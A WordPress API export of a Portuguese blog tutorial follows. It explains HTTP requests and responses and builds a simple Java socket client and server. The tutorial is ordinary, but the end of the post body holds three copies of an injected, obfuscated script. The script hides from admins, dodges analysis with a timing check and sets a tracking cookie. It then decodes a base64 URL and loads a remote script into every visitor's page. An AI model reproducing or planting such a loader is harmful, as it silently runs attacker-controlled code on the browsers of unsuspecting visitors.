{"id":1157,"date":"2011-02-06T15:42:27","date_gmt":"2011-02-06T17:42:27","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1157"},"modified":"2025-10-26T22:41:11","modified_gmt":"2025-10-27T01:41:11","slug":"seu-proprio-servidor-http-em-java","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/02\/06\/seu-proprio-servidor-http-em-java\/","title":{"rendered":"Seu pr\u00f3prio servidor HTTP em Java"},"content":{"rendered":"<p style=\"text-align: justify;\">Vamos criar um servidor HTTP sem a necessidade de bibliotecas externas. Com isso iremos entender o funcionamento do protocolo HTTP e uso de classes Java de conex\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Para criarmos esse servidor, precisamos ver como funciona o HTTP. O HTTP \u00e9 um protocolo baseado em requisi\u00e7\u00e3o e resposta. O cliente faz uma requisi\u00e7\u00e3o e o servidor envia uma resposta (simples assim). Normalmente ocorre a comunica\u00e7\u00e3o na porta 80, mas isso n\u00e3o \u00e9 regra. A vers\u00e3o atual \u00e9 a 1.1 e a especifica\u00e7\u00e3o completa pode ser encontrada em: <a title=\"HTTP 1.1\" href=\"http:\/\/www.w3.org\/Protocols\/HTTP\/1.1\/rfc2616.pdf\" target=\"_blank\" rel=\"noopener\">http:\/\/www.w3.org\/Protocols\/HTTP\/1.1\/rfc2616.pdf<\/a>.<\/p>\n<p style=\"text-align: justify;\">Uma requisi\u00e7\u00e3o normalmente \u00e9 composta por:<\/p>\n<ul>\n<li> uma lista especificando o m\u00e9todo (GET, POST, PUT, ...), a URI e o protocolo e a vers\u00e3o;<\/li>\n<li>cabe\u00e7alhos de requisi\u00e7\u00e3o;<\/li>\n<li>corpo.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">De maneira semelhante uma resposta \u00e9 composta tamb\u00e9m por tr\u00eas elementos:<\/p>\n<ul>\n<li>protocolo\/vers\u00e3o, c\u00f3digo do status e descri\u00e7\u00e3o;<\/li>\n<li>cabe\u00e7alhos de resposta;<\/li>\n<li>corpo.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Para verificar isso, vamos utilizar telnet para fazer uma requisi\u00e7\u00e3o HTTP para o meu blog. Abra a telnet especificando o endere\u00e7o e a porta:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\ntelnet www.thiagovespa.com.br 80\n<\/pre>\n<p style=\"text-align: justify;\">Dica: Voc\u00ea pode redirecionar a sa\u00edda para um arquivo ou para o less para visualizar melhor a resposta dos dados.<\/p>\n<p style=\"text-align: justify;\">Digite a seguinte requsi\u00e7\u00e3o:<\/p>\n<pre class=\"brush: plain; highlight: [1]; title: ; notranslate\" title=\"\">\nGET \/blog\/ HTTP\/1.1\nAccept: text\/plain; text\/html\nAccept-Language: pt-br\nConnection: Keep-Alive\nHost: www.thiagovespa.com.br\nUser-Agent: Telnet para teste\n<\/pre>\n<p style=\"text-align: justify;\">A linha 1 especifica o tipo do m\u00e9todo que no nosso caso \u00e9 \"GET\", com a URI \"\/blog\/\" e o protocolo \"HTTP\/1.1\". As linhas seguintes s\u00e3o os cabe\u00e7alhos da requisi\u00e7\u00e3o. N\u00e3o h\u00e1 corpo nessa requisi\u00e7\u00e3o, pois n\u00e3o estamos enviando nenhuma informa\u00e7\u00e3o adicional (s\u00f3 queremos a p\u00e1gina que responde pela URI \/blog\/). Se, por exemplo, estiv\u00e9ssemos fazendo um POST, poder\u00edamos passar os valores a serem enviados no post no corpo da requisi\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Ao pular uma linha (CRLF) o servidor entende como fim da requisi\u00e7\u00e3o e ir\u00e1 enviar a resposta. Voc\u00ea dever\u00e1 obter algo similar a isso:<\/p>\n<pre class=\"brush: plain; highlight: [1]; title: ; notranslate\" title=\"\">\nHTTP\/1.1 200 OK\nDate: Sun, 06 Feb 2011 13:08:51 GMT\nServer: Apache\/2.2.8 (Ubuntu) DAV\/2 SVN\/1.4.6 mod_jk\/1.2.25 mod_python\/3.3.1 Python\/2.5.2 PHP\/5.2.4-2ubuntu5.14 with Suhosin-Patch mod_ruby\/1.2.6 Ruby\/1.8.6(2007-09-24) mod_ssl\/2.2.8 OpenSSL\/0.9.8g mod_perl\/2.0.3 Perl\/v5.8.8\nX-Powered-By: PHP\/5.2.4-2ubuntu5.14\nSet-Cookie: PHPSESSID=1142b7e285308028ff49c8535e4c3027; path=\/\nX-Pingback: http:\/\/www.thiagovespa.com.br\/blog\/xmlrpc.php\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: text\/html; charset=UTF-8\n\n1fad\n&lt;!DOCTYPE html PUBLIC &quot;-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN&quot; &quot;http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd&quot;&gt;\n&lt;html xmlns=&quot;http:\/\/www.w3.org\/1999\/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;pt-BR&quot; xml:lang=&quot;pt-BR&quot;&gt;\n&lt;head profile=&quot;http:\/\/gmpg.org\/xfn\/11&quot;&gt;\n&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text\/html; charset=UTF-8&quot; \/&gt;\n...\n<\/pre>\n<p>A primeira linha \u00e9 o protocolo da vers\u00e3o com o c\u00f3digo de status (200 OK), da linha 2 \u00e0 linha 10 s\u00e3o os cabe\u00e7alhos da resposta e o restante \u00e9 o corpo com o resultado da p\u00e1gina que eu solicitei. Voc\u00ea pode fazer o mesmo pelo Java, criei uma classe simples que faz o trabalho:<\/p>\n<pre class=\"brush: java; highlight: [51,57,58,59]; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.http.utils;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.PrintWriter;\nimport java.net.Socket;\nimport java.net.UnknownHostException;\n\n\/**\n * Cliente HTTP simples para somente requisi\u00e7\u00f5es GET\n *\n * @author Thiago Galbiatti Vespa - &lt;a\n *         href=&quot;mailto:thiago@thiagovespa.com.br&quot;&gt;thiago@thiagovespa.com.br&lt;\/a&gt;\n * @version 1.0\n *\n *\/\npublic class HttpClient {\n\n\t\/**\n\t * Vers\u00e3o do protocolo utilizada\n\t *\/\n\tpublic final static String HTTP_VERSION = &quot;HTTP\/1.1&quot;;\n\n\tprivate String host;\n\tprivate int port;\n\n\t\/**\n\t * Construtor do cliente HTTP\n\t * @param host host para o cliente acessar\n\t * @param port porta de acesso\n\t *\/\n\tpublic HttpClient(String host, int port) {\n\t\tsuper();\n\t\tthis.host = host;\n\t\tthis.port = port;\n\t}\n\n\t\/**\n\t * Realiza uma requisi\u00e7\u00e3o HTTP e devolve uma resposta\n\t * @param path caminho a ser feita a requisi\u00e7\u00e3o\n\t * @return resposta do protocolo HTTP\n\t * @throws UnknownHostException quando n\u00e3o encontra o host\n\t * @throws IOException quando h\u00e1 algum erro de comunica\u00e7\u00e3o\n\t *\/\n\tpublic String getURIRawContent(String path) throws UnknownHostException,\n\t\t\tIOException {\n\t\tSocket socket = null;\n\t\ttry {\n\t\t\t\/\/ Abre a conex\u00e3o\n\t\t\tsocket = new Socket(this.host, this.port);\n\t\t\tPrintWriter out = new PrintWriter(socket.getOutputStream(), true);\n\t\t\tBufferedReader in = new BufferedReader(new InputStreamReader(\n\t\t\t\t\tsocket.getInputStream()));\n\n\t\t\t\/\/ Envia a requisi\u00e7\u00e3o\n\t\t\tout.println(&quot;GET &quot; + path + &quot; &quot; + HTTP_VERSION);\n\t\t\tout.println(&quot;Host: &quot; + this.host);\n\t\t\tout.println(&quot;Connection: Close&quot;);\n\t\t\tout.println();\n\n\t\t\tboolean loop = true;\n\t\t\tStringBuffer sb = new StringBuffer();\n\n\t\t\t\/\/ recupera a resposta quando ela estiver dispon\u00edvel\n\t\t\twhile (loop) {\n\t\t\t\tif (in.ready()) {\n\t\t\t\t\tint i = 0;\n\t\t\t\t\twhile ((i = in.read()) != -1) {\n\t\t\t\t\t\tsb.append((char) i);\n\t\t\t\t\t}\n\t\t\t\t\tloop = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn sb.toString();\n\t\t} finally {\n\t\t\tif (socket != null) {\n\t\t\t\tsocket.close();\n\t\t\t}\n\t\t}\n\t}\n}\n<\/pre>\n<p style=\"text-align: justify;\">Na linha 51 abrimos uma conex\u00e3o Socket para o endere\u00e7o e porta especificado e na linha 57, 58 e 59 escrevemos a requisi\u00e7\u00e3o igual foi feito por telnet. Para executar e visualizar no console a resposta da requisi\u00e7\u00e3o, execute o seguinte dentro do m\u00e9todo main (utilize os devidos try\/catch):<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nHttpClient client = new HttpClient(&quot;www.thiagovespa.com.br&quot;, 80);\nSystem.out.println(client.getURIRawContent(&quot;\/blog\/&quot;));\n<\/pre>\n<p style=\"text-align: justify;\">Para criarmos um servidor que responde \u00e0 requisi\u00e7\u00f5es desse tipo, \u00e9 necess\u00e1rio utilizar a classe ServerSocket. Essa classe \u00e9 respons\u00e1vel por deixar uma conex\u00e3o que fica \"ouvindo\" por requisi\u00e7\u00f5es de clientes em uma determinada porta. Voc\u00ea pode fazer igual ao descrito na linha 9 e 10 do seguinte c\u00f3digo:<\/p>\n<pre class=\"brush: java; highlight: [9,10,25,26,27,39]; title: ; notranslate\" title=\"\">\n\tpublic void serve() {\n\t\tServerSocket serverSocket = null;\n\n\t\tlogger.info(&quot;Iniciando servidor no endere\u00e7o: &quot; + this.host\n\t\t\t\t+ &quot;:&quot; + this.port);\n\n\t\ttry {\n\t\t\t\/\/ Cria a conex\u00e3o servidora\n\t\t\tserverSocket = new ServerSocket(port, 1,\n\t\t\t\t\tInetAddress.getByName(host));\n\t\t} catch (IOException e) {\n\t\t\tlogger.log(Level.SEVERE, &quot;Erro ao iniciar servidor!&quot;, e);\n\t\t\treturn;\n\t\t}\n\t\tlogger.info(&quot;Conex\u00e3o com o servidor aberta no endere\u00e7o: &quot; + this.host\n\t\t\t\t+ &quot;:&quot; + this.port);\n\n\t\t\/\/ Fica esperando pela conex\u00e3o cliente\n\t\twhile (true) {\n\t\t\tlogger.info(&quot;Aguardando conex\u00f5es...&quot;);\n\t\t\tSocket socket = null;\n\t\t\tInputStream input = null;\n\t\t\tOutputStream output = null;\n\t\t\ttry {\n\t\t\t\tsocket = serverSocket.accept();\n\t\t\t\tinput = socket.getInputStream();\n\t\t\t\toutput = socket.getOutputStream();\n\n\t\t\t\t\/\/ Realiza o parse da requisi\u00e7\u00e3o recebida\n\t\t\t\tString requestString = convertStreamToString(input);\n\t\t\t\tlogger.info(&quot;Conex\u00e3o recebida. Conte\u00fado: &quot; + requestString);\n\t\t\t\tRequest request = new Request();\n\t\t\t\trequest.parse(requestString);\n\n\t\t\t\t\/\/ recupera a resposta de acordo com a requisicao\n\t\t\t\tResponse response = ResponseFactory.createResponse(request);\n\t\t\t\tString responseString = response.respond();\n\t\t\t\tlogger.info(&quot;Resposta enviada. Conte\u00fado: &quot; + responseString);\n\t\t\t\toutput.write(responseString.getBytes());\n\n\t\t\t\t\/\/ Fecha a conex\u00e3o\n\t\t\t\tsocket.close();\n\n\t\t\t} catch (Exception e) {\n\t\t\t\tlogger.log(Level.SEVERE, &quot;Erro ao executar servidor!&quot;, e);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t}\n<\/pre>\n<p style=\"text-align: justify;\">Feito isso \u00e9 s\u00f3 recuperar o input stream para pegar a requisi\u00e7\u00e3o (linha 26) e escrever a resposta com o output stream (linha 39), igual fizemos via telnet. Fiz um projeto exemplo e na resposta escrevi o seguinte:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t@Override\n\tpublic String respond() {\n\t\tStringBuilder sb = new StringBuilder();\n\t\t\/\/ Cria primeira linha do status code, no caso sempre 200 OK\n\t\tsb.append(&quot;HTTP\/1.1 200 OK&quot;).append(&quot;\\r\\n&quot;);\n\n\t\t\/\/ Cria os cabe\u00e7alhos\n\t\tsb.append(&quot;Date: &quot;).append(HTTP_DATE_FORMAT.format(new Date()))\n\t\t\t\t.append(&quot;\\r\\n&quot;);\n\t\tsb.append(&quot;Server: Test Server - http:\/\/www.thiagovespa.com.br&quot;)\n\t\t\t\t.append(&quot;\\r\\n&quot;);\n\t\tsb.append(&quot;Connection: Close&quot;).append(&quot;\\r\\n&quot;);\n\t\tsb.append(&quot;Content-Type: text\/html; charset=UTF-8&quot;).append(&quot;\\r\\n&quot;);\n\t\tsb.append(&quot;\\r\\n&quot;);\n\n\t\t\/\/ Agora vem o corpo em HTML\n\t\tsb.append(&quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;Dummy Response&lt;\/title&gt;&lt;\/head&gt;&lt;body&gt;&lt;h1&gt;HttpServer Response&lt;\/h1&gt;&quot;);\n\t\tsb.append(&quot;Method: &quot;).append(request.getMethod()).append(&quot;&lt;br\/&gt;&quot;);\n\t\tsb.append(&quot;URI: &quot;).append(request.getUri()).append(&quot;&lt;br\/&gt;&quot;);\n\t\tsb.append(&quot;Protocol: &quot;).append(request.getProtocol()).append(&quot;&lt;br\/&gt;&quot;);\n\t\tsb.append(&quot;&lt;\/body&gt;&lt;\/html&gt;&quot;);\n\t\treturn sb.toString();\n\n\t}\n<\/pre>\n<p style=\"text-align: justify;\">Utilizei a porta 8091. Ao acessar a URL: http:\/\/localhost:8091\/olaMundo pelo browser, o resultado \u00e9 o seguinte:<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1180\" aria-describedby=\"caption-attachment-1180\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Dummy-Response-Mozilla-Firefox.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1180 \" title=\"Dummy Response\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Dummy-Response-Mozilla-Firefox-300x192.png\" alt=\"Dummy Response\" width=\"300\" height=\"192\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Dummy-Response-Mozilla-Firefox-300x192.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/02\/Screenshot-Dummy-Response-Mozilla-Firefox.png 606w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1180\" class=\"wp-caption-text\">Dummy Response<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Seguindo o mesmo princ\u00edpio voc\u00ea pode criar qualquer tipo de resposta, exibir p\u00e1ginas html, imagens, etc., de arquivos localizados em disco, exibir conte\u00fado de banco de dados ou qualquer outro tipo de requisi\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">O c\u00f3digo com o projeto no eclipse est\u00e1 <a title=\"http utils\" href=\"http:\/\/www.thiagovespa.com.br\/utils\/thiagovespa-http-utils.zip\" target=\"_blank\" rel=\"noopener\">dispon\u00edvel aqui<\/a>. Qualquer d\u00favida ou melhoria \u00e9 s\u00f3 avisar.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vamos criar um servidor HTTP sem a necessidade de bibliotecas externas. Com isso iremos entender o funcionamento do protocolo HTTP e uso de classes Java de conex\u00e3o. Para criarmos esse servidor, precisamos ver como funciona o HTTP. O HTTP \u00e9 <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/02\/06\/seu-proprio-servidor-http-em-java\/\">Continue lendo  <span class=\"screen-reader-text\">  Seu pr\u00f3prio servidor HTTP em Java<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1157","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1157","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1157"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1157\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}